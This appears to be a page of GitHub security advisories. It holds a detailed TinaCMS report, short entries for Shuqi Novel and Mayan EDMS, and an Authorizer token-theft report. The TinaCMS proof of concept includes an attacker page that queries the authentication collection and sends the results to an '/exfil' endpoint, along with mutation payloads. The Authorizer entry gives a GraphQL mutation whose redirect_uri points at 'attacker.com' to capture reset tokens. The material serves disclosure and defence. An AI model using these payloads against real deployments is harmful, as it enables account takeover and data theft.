  "details": "### Summary\n\nThe TinaCMS admin builds its preview `\u003ciframe src\u003e` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin\u2194preview `postMessage` channel, so the attacker\u0027s frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor\u0027s token and posts back to the attacker\u0027s origin.\n\nOne link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site\u0027s content API as that editor.\n\n### Details\n\nRoot cause \u2014 the router splat becomes the frame source with no same-origin check:\n\n```\npackages/tinacms/src/admin/index.tsx:16     HashRouter as Router,\npackages/tinacms/src/admin/index.tsx:329      path=\u0027/~/*\u0027\npackages/tinacms/src/admin/index.tsx:173    const [url, setURL] = React.useState(`/${params[\u0027*\u0027]}`);\npackages/tinacms/src/admin/index.tsx:176    const paramURL = `/${params[\u0027*\u0027]}`;\npackages/@tinacms/app/src/preview.tsx:24        src={props.url}\n```\n\nThe leading `/` is meant to force a relative path, but `react-router-dom@6.30.3` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP.\n\nThe trust anchor is then computed from that same value:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:209-212   getExpectedPreviewOrigin(url)\npackages/@tinacms/app/src/lib/preview-origin.ts:22           return new URL(url, baseOrigin || undefined).origin;\npackages/@tinacms/app/src/lib/preview-origin.ts:43-46        event.origin !== expectedOrigin -\u003e reject\n```\n\nBoth guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded.\n\n`PreviewInner`\u0027s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes.\n\nSink \u2014 the attacker\u0027s GraphQL string reaches the authenticated client, and the result goes back to the attacker:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:613-624   \u0027open\u0027 handler; zod validates types only, not query content\npackages/@tinacms/app/src/lib/graphql-reducer.ts:973-978   cms.api.tina.request(expandedQuery, { variables })\npackages/@tinacms/app/src/lib/graphql-reducer.ts:497-505   postMessageToPreview(..., expectedOrigin)\n```\n\n`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged.\n\nDefault-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy \u2014 so the route exists in every `tinacms build` output and in `tinacms dev`.\n\nIncomplete-fix note: `tinacms@3.9.3` / `@tinacms/app@2.5.6` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against.\n\nAffected-range basis, stated plainly: I tested only `tinacms@3.12.1` / `@tinacms/app@2.5.12` (commit `0d38acf`). The ranges below are given as `\u003c=` because the vulnerable lines are byte-identical across every commit available to me \u2014 a 123-commit shallow clone, earliest `8a86ffa` (2026-06-26), which predates the `3.9.3` hardening release \u2014 but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.\n\nSuggested fix: normalise the splat to a same-origin path before it becomes `url` (reject a leading `/` or `\\`), and have `getExpectedPreviewOrigin` refuse any origin other than `window.location.origin`.\n\n### PoC\n\nSafe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository\u0027s `preview-origin.ts` byte-for-byte and reproduces `PreviewInner`/`Preview` line-for-line from the cited files; `cms.api.tina.request` is stubbed to return a marker so no real backend is touched.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker \u0026\u0026 cd /tmp/tina-poc\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/app/src/lib/preview-origin.ts\" ./preview-origin.ts\n```\n\n`victim/admin.tsx` \u2014 `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):\n\n```tsx\nimport React from \u0027react\u0027;\nimport { createRoot } from \u0027react-dom/client\u0027;\nimport { HashRouter as Router, Route, Routes, useNavigate, useParams } from \u0027react-router-dom\u0027;\nimport { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from \u0027../preview-origin\u0027;\n\nconst log = (m: string, x?: unknown) =\u003e console.log(\u0027[victim]\u0027, x === undefined ? m : `${m} ${JSON.stringify(x)}`);\n\n// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin\n// this is an authenticated call to the content API with the editor\u0027s token.\nasync function tinaRequest(query: string) {\n  log(\u0027cms.api.tina.request() called with attacker query\u0027, query);\n  return { data: { __POC_MARKER__: \u0027SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE\u0027 } };\n}\n\nfunction useGraphQLReducer(iframe: React.MutableRefObject\u003cHTMLIFrameElement | null\u003e, url: string) {\n  const expectedOrigin = React.useMemo(() =\u003e getExpectedPreviewOrigin(url), [url]);       // :209-212\n  React.useEffect(() =\u003e {\n    log(\u0027expectedOrigin derived from preview url\u0027, { url, expectedOrigin });\n    (window as any).__poc_expectedOrigin = expectedOrigin;\n  }, [expectedOrigin, url]);\n\n  const handleMessage = React.useCallback(async (event: MessageEvent\u003cany\u003e) =\u003e {\n    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556\n    if (event.data.type === \u0027open\u0027) {                                                     // :613-624\n      log(\u0027ACCEPTED \"open\" message from\u0027, event.origin);\n      const expandedData = await tinaRequest(event.data.query);                           // :973-978\n      postMessageToPreview(iframe.current?.contentWindow,\n        { type: \u0027updateData\u0027, id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505\n      log(\u0027posted query result to\u0027, expectedOrigin);\n    }\n  }, [expectedOrigin]);\n\n  React.useEffect(() =\u003e {\n    window.addEventListener(\u0027message\u0027, handleMessage);\n    return () =\u003e window.removeEventListener(\u0027message\u0027, handleMessage);\n  }, [handleMessage]);\n}\n\nconst Preview = (props: { url: string; iframeRef: React.MutableRefObject\u003cHTMLIFrameElement | null\u003e }) =\u003e {\n  useGraphQLReducer(props.iframeRef, props.url);\n  return \u003ciframe data-test=\u0027tina-iframe\u0027 id=\u0027tina-iframe\u0027 ref={props.iframeRef}\n                 className=\u0027h-full w-full bg-white\u0027 src={props.url} /\u003e;   // preview.tsx:24\n};\n\nconst PreviewInner = ({ preview }: { preview: any }) =\u003e {                  // admin/index.tsx:170-210\n  const params = useParams();\n  const navigate = useNavigate();\n  const [url, setURL] = React.useState(`/${params[\u0027*\u0027]}`);\n  const [reportedURL, setReportedURL] = React.useState\u003cstring | null\u003e(null);\n  const ref = React.useRef\u003cHTMLIFrameElement\u003e(null);\n  const paramURL = `/${params[\u0027*\u0027]}`;\n  React.useEffect(() =\u003e { if (reportedURL !== paramURL \u0026\u0026 paramURL) setURL(paramURL); }, [paramURL]);\n  React.useEffect(() =\u003e { if ((reportedURL !== url || reportedURL !== paramURL) \u0026\u0026 reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);\n  React.useEffect(() =\u003e {                                                 // admin/index.tsx:189-200\n    setInterval(() =\u003e {\n      if (ref.current) {\n        const url = new URL(ref.current.contentWindow?.location.href || \u0027\u0027);\n        if (url.origin === \u0027null\u0027) { return; }\n        const href = url.href.replace(url.origin, \u0027\u0027);\n        setReportedURL(href);\n      }\n    }, 100);\n  }, [ref.current]);\n  React.useEffect(() =\u003e {\n    log(\u0027iframe src computed from router splat\u0027, { \"params[\u0027*\u0027]\": params[\u0027*\u0027], url });\n    (window as any).__poc_iframeSrc = url;\n  }, [url]);\n  const PreviewCmp = preview;\n  return \u003cdiv\u003e\u003cPreviewCmp url={url} iframeRef={ref} /\u003e\u003c/div\u003e;\n};\n\ncreateRoot(document.getElementById(\u0027root\u0027)!).render(\n  \u003cRouter\u003e\n    \u003cRoutes\u003e\n      \u003cRoute path=\u0027/~/*\u0027 element={\u003cPreviewInner preview={Preview} /\u003e} /\u003e   {/* admin/index.tsx:329 */}\n      \u003cRoute path=\u0027/\u0027 element={\u003cdiv\u003eadmin dashboard\u003c/div\u003e} /\u003e\n    \u003c/Routes\u003e\n  \u003c/Router\u003e\n);\n```\n\n`victim/index.html`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eTinaCMS admin (repro)\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\u003cdiv id=\"root\"\u003e\u003c/div\u003e\u003cscript type=\"module\" src=\"/admin.js\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n`attacker/evil.html`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\n\u003ch1\u003eattacker-controlled page framed by the TinaCMS admin\u003c/h1\u003e\n\u003cscript\u003e\n  parent.postMessage({ type: \u0027open\u0027, id: \u0027poc-1\u0027,\n    query: \u0027query { collection(collection: \"authentication\") { documents { edges { node { ... on Document { _values } } } } } }\u0027,\n    variables: {}, data: {} }, \u0027*\u0027);\n  window.addEventListener(\u0027message\u0027, (e) =\u003e {\n    if (e.data \u0026\u0026 e.data.type === \u0027updateData\u0027) {\n      fetch(\u0027/exfil?data=\u0027 + encodeURIComponent(JSON.stringify(e.data.data)), { mode: \u0027no-cors\u0027 });\n    }\n  });\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs` \u2014 serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:\n\n```js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),path=require(\u0027path\u0027),{chromium}=require(\u0027playwright\u0027);\nconst VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];\nfunction serve(dir,port,onHit){const s=http.createServer((req,res)=\u003e{const u=new URL(req.url,`http://127.0.0.1:${port}`);\n if(onHit)onHit(req.method+\u0027 \u0027+u.pathname+u.search);\n if(u.pathname.startsWith(\u0027/exfil\u0027)){res.writeHead(204).end();return;}\n const f=path.join(dir,u.pathname===\u0027/\u0027?\u0027/index.html\u0027:u.pathname);\n if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end(\u0027nf\u0027);return;}\n res.writeHead(200,{\u0027content-type\u0027:f.endsWith(\u0027.js\u0027)?\u0027text/javascript\u0027:\u0027text/html; charset=utf-8\u0027});res.end(fs.readFileSync(f));});\n return new Promise(r=\u003es.listen(port,\u0027127.0.0.1\u0027,()=\u003er(s)));}\n(async()=\u003e{const v=await serve(path.join(HERE,\u0027victim\u0027),VICTIM_PORT);\n const a=await serve(path.join(HERE,\u0027attacker\u0027),ATTACKER_PORT,h=\u003eattackerHits.push(h));\n const browser=await chromium.launch({executablePath:\u0027/usr/bin/google-chrome\u0027});const results={};\n for(const scenario of [\u0027control\u0027,\u0027attack\u0027]){attackerHits.length=0;\n  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];\n  page.on(\u0027console\u0027,m=\u003elogs.push(m.text()));\n  const hash=scenario===\u0027control\u0027?\u0027#/~/posts/hello-world\u0027:`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;\n  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);\n  results[scenario]={hash,\n   iframeSrc:await page.evaluate(()=\u003ewindow.__poc_iframeSrc),\n   expectedOriginTrustedByAdmin:await page.evaluate(()=\u003ewindow.__poc_expectedOrigin),\n   framesLoaded:page.frames().map(f=\u003ef.url()),\n   attackerServerHits:[...attackerHits],\n   victimConsole:logs.filter(l=\u003el.startsWith(\u0027[victim]\u0027))};\n  await ctx.close();}\n await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-poc\nnpx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \\\n  --loader:.tsx=tsx --define:process.env.NODE_ENV=\u0027\"production\"\u0027\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"control\": {\n    \"hash\": \"#/~/posts/hello-world\",\n    \"iframeSrc\": \"/posts/hello-world\",\n    \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8801\",\n    \"framesLoaded\": [\n      \"http://127.0.0.1:8801/index.html#/~/posts/hello-world\",\n      \"http://127.0.0.1:8801/posts/hello-world\"\n    ],\n    \"attackerServerHits\": [],\n    \"victimConsole\": [\n      \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"/posts/hello-world\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8801\\\"}\",\n      \"[victim] iframe src computed from router splat {\\\"params[\u0027*\u0027]\\\":\\\"posts/hello-world\\\",\\\"url\\\":\\\"/posts/hello-world\\\"}\"\n    ]\n  },\n  \"attack\": {\n    \"hash\": \"#/~//127.0.0.1:8802/evil.html\",\n    \"iframeSrc\": \"//127.0.0.1:8802/evil.html\",\n    \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8802\",\n    \"framesLoaded\": [\n      \"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html\",\n      \"http://127.0.0.1:8802/evil.html\"\n    ],\n    \"attackerServerHits\": [\n      \"GET /evil.html\",\n      \"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D\"\n    ],\n    \"victimConsole\": [\n      \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8802\\\"}\",\n      \"[victim] iframe src computed from router splat {\\\"params[\u0027*\u0027]\\\":\\\"/127.0.0.1:8802/evil.html\\\",\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\"}\",\n      \"[victim] ACCEPTED \\\"open\\\" message from \\\"http://127.0.0.1:8802\\\"\",\n      \"[victim] cms.api.tina.request() called with attacker query \\\"query { collection(collection: \\\\\\\"authentication\\\\\\\") { documents { edges { node { ... on Document { _values } } } } } }\\\"\",\n      \"[victim] posted query result to \\\"http://127.0.0.1:8802\\\"\"\n    ]\n  }\n}\n```\n\nExpected vulnerable output \u2014 in `attack`: `iframeSrc` protocol-relative, `expectedOriginTrustedByAdmin` equal to the **attacker\u0027s** origin, a frame served by the attacker, and both `GET /evil.html` and `GET /exfil?data=...` on the attacker server. All held.\n\nControl \u2014 `#/~/posts/hello-world` keeps the frame same-origin, keeps `expectedOrigin` on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.\n\n**Supporting check \u2014 attacker mutations survive `expandQuery` and validate against a real Tina schema**\n\n```bash\nmkdir -p /tmp/tina-expand \u0026\u0026 cd /tmp/tina-expand\nnpm init -y \u003e/dev/null \u0026\u0026 npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0\ncp \"$REPO/packages/@tinacms/app/src/lib/expand-query.ts\" ./expand-query.ts\ncat \u003e t.ts \u003c\u003c\u0027EOF\u0027\nimport * as G from \u0027graphql\u0027; import fs from \u0027fs\u0027; import { expandQuery } from \u0027./expand-query\u0027;\nconst schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, \u0027utf-8\u0027));\nconst ops: Record\u003cstring,string\u003e = {\n  READ: `query { movieConnection { edges { node { _values } } } }`,\n  MUTATE_UPDATE: `mutation { updateDocument(collection: \"movie\", relativePath: \"movie1.json\", params: {movie: {title: \"pwned\"}}) { __typename } }`,\n  MUTATE_DELETE: `mutation { deleteDocument(collection: \"movie\", relativePath: \"movie1.json\") { __typename } }`,\n};\nfor (const [n, op] of Object.entries(ops)) {\n  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));\n  const errs = G.validate(schema, G.parse(printed));\n  console.log(`--- ${n} ---`);\n  console.log(\u0027survives expandQuery + validates against the real Tina schema:\u0027, errs.length === 0);\n  console.log(\u0027operation kept:\u0027, (G.parse(printed).definitions[0] as any).operation);\n}\nEOF\nnpx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs \u003e/dev/null\nSCHEMA=\"$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql\" node t.cjs\n```\n\nObserved output:\n\n```\n--- READ ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: query\n--- MUTATE_UPDATE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n--- MUTATE_DELETE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n```\n\n**Supporting check \u2014 router splat behaviour**\n\n```bash\nmkdir -p /tmp/tina-rr \u0026\u0026 cd /tmp/tina-rr \u0026\u0026 npm init -y \u003e/dev/null\nnpm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1\ncat \u003e t.cjs \u003c\u003c\u0027EOF\u0027\nconst { matchPath } = require(\u0027react-router-dom\u0027);\nfor (const p of [\u0027/~/posts/hello\u0027,\u0027/~//evil.example\u0027,\u0027/~/%2F%2Fevil.example\u0027]) {\n  const s = matchPath({ path: \u0027/~/*\u0027 }, p)?.params[\u0027*\u0027];\n  console.log(JSON.stringify(p), \u0027=\u003e params[\"*\"] =\u0027, JSON.stringify(s), \u0027=\u003e url =\u0027, JSON.stringify(\u0027/\u0027 + s));\n}\nEOF\nnode t.cjs\n```\n\nObserved output:\n\n```\n\"/~/posts/hello\" =\u003e params[\"*\"] = \"posts/hello\" =\u003e url = \"/posts/hello\"\n\"/~//evil.example\" =\u003e params[\"*\"] = \"/evil.example\" =\u003e url = \"//evil.example\"\n\"/~/%2F%2Fevil.example\" =\u003e params[\"*\"] = \"//evil.example\" =\u003e url = \"///evil.example\"\n```\n\n**Scope of the proof.** Executed and observed here: the protocol-relative `url`, the cross-origin frame load, the attacker origin becoming `expectedOrigin`, the repository\u0027s real `isFromTrustedPreviewOrigin` accepting the attacker\u0027s message, the attacker\u0027s operation string reaching the request function, the response being delivered to the attacker\u0027s origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend \u2014 `cms.api.tina.request` was stubbed deliberately so the PoC contacts no external service and writes no data.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr\n```\n\nAll three PoCs were re-run after this report was drafted; the outputs above are those runs.\n\n### Impact\n\nOrigin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link \u2014 the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the `authentication` collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (`updateDocument`, `createDocument`, `deleteDocument`), with results delivered to the attacker\u0027s own origin. Two boundaries are crossed: the browser same-origin policy, and the content API\u0027s authorization.\n\nImpacted: every deployment serving the TinaCMS admin bundle (`tinacms build` output or `tinacms dev`). No configuration disables the `/~/*` route.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-x34j-47hf-4xg7",
  "modified": "2026-10-09T20:56:48Z",
  "published": "2026-10-09T20:56:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment"
}

GHSA-X36X-QFRJ-P4P5

Vulnerability from github – Published: 2025-01-27 21:30 – Updated: 2025-01-28 21:31
VLAI
Details

An issue in Zhiyuan Yuedu (Guangzhou) Literature Information Technology Co., Ltd Shuqi Novel iOS 5.3.8 allows attackers to access sensitive user information via supplying a crafted link.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-56971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-27T19:15:18Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Zhiyuan Yuedu (Guangzhou) Literature Information Technology Co., Ltd Shuqi Novel iOS 5.3.8 allows attackers to access sensitive user information via supplying a crafted link.",
  "id": "GHSA-x36x-qfrj-p4p5",
  "modified": "2025-01-28T21:31:02Z",
  "published": "2025-01-27T21:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56971"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZhouZiyi1/Vuls/blob/main/250108-ShuqiNovel/250108-ShuqiNovel.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X37W-7P52-8F49

Vulnerability from github – Published: 2025-12-15 00:30 – Updated: 2026-06-06 00:36
VLAI
Summary
Mayan EDMS has an Open Redirect through the /authentication/ file
Details

A flaw has been found in Mayan EDMS up to 4.10.1. The impacted element is an unknown function of the file /authentication/. This manipulation causes open redirect. It is possible to initiate the attack remotely. The exploit has been published and may be used. Upgrading to version 4.10.2 is sufficient to resolve this issue. The affected component should be upgraded. The vendor confirms that this is "[f]ixed in version 4.10.2". Furthermore, that "[b]ackports for older versions in process and will be out as soon as their respective CI pipelines complete."

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mayan-edms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.10.0"
            },
            {
              "fixed": "4.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mayan-edms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.9.0"
            },
            {
              "fixed": "4.9.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mayan-edms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.8.0"
            },
            {
              "fixed": "4.8.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mayan-edms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.7.0"
            },
            {
              "fixed": "4.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mayan-edms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-14692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T15:48:24Z",
    "nvd_published_at": "2025-12-15T00:15:39Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in Mayan EDMS up to 4.10.1. The impacted element is an unknown function of the file /authentication/. This manipulation causes open redirect. It is possible to initiate the attack remotely. The exploit has been published and may be used. Upgrading to version 4.10.2 is sufficient to resolve this issue. The affected component should be upgraded. The vendor confirms that this is \"[f]ixed in version 4.10.2\". Furthermore, that \"[b]ackports for older versions in process and will be out as soon as their respective CI pipelines complete.\"",
  "id": "GHSA-x37w-7p52-8f49",
  "modified": "2026-06-06T00:36:22Z",
  "published": "2025-12-15T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14692"
    },
    {
      "type": "WEB",
      "url": "https://docs.mayan-edms.com/chapters/releases/4.10.2.html"
    },
    {
      "type": "WEB",
      "url": "https://docs.mayan-edms.com/chapters/releases/4.10.2.html#security"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ionutluca888/Mayan-EDMS-OpenRedirect-POC/tree/main"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mayan-edms/PYSEC-2025-135.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://gitlab.com/mayan-edms/mayan-edms"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/mayan-edms/mayan-edms/-/commit/45355cbb45a28f61f38f719112d0ff422e6dc688"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/mayan-edms/mayan-edms/-/commit/94032fbe553e97b33e4e9b9e731b4fc45f9d9f91"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/mayan-edms/mayan-edms/-/commit/da9de60a9b84f11d5d2c7bbf118fe696b4f6357e"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.336410"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.336410"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.711729"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mayan EDMS has an Open Redirect through the /authentication/ file"
}

GHSA-X3F4-V83F-7WP2

Vulnerability from github – Published: 2026-04-06 17:59 – Updated: 2026-04-06 17:59
VLAI
Summary
Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri
Details

Hi,

I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).

Affected Endpoints

  1. ForgotPassword (internal/graphql/forgot_password.go:76-77) - password reset tokens
  2. MagicLinkLogin (internal/graphql/magic_link_login.go:150-151) - magic link auth tokens
  3. Signup (internal/graphql/signup.go:211-212) - email verification tokens
  4. InviteMembers (internal/graphql/invite_members.go:90-91) - invitation tokens
  5. OAuthLoginHandler (internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state
  6. VerifyEmailHandler (internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)

Root Cause

Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.

In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:

if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
    redirectURI = refs.StringValue(params.RedirectURI)
}

The reset token is appended to this URL at internal/utils/common.go:77:

func GetForgotPasswordURL(token, redirectURI string) string {
    verificationURL := redirectURI + "?token=" + token
    return verificationURL
}

Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:

if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    c.JSON(400, gin.H{"error": "invalid redirect url"})
    return
}

This validation is missing from all 6 endpoints listed above.

Most Severe Path: Full Token Theft via verify_email

After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:

params := "access_token=" + authToken.AccessToken.Token +
    "&token_type=bearer&expires_in=" + ... +
    "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce

The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.

Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.

PoC

mutation {
  forgot_password(params: {
    email: "victim@example.com"
    redirect_uri: "https://attacker.com/steal"
  }) {
    message
  }
}

The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.

Impact

  • Account takeover via stolen password reset tokens
  • Full session theft via stolen access_token + id_token + refresh_token
  • Passwordless account compromise via stolen magic link tokens
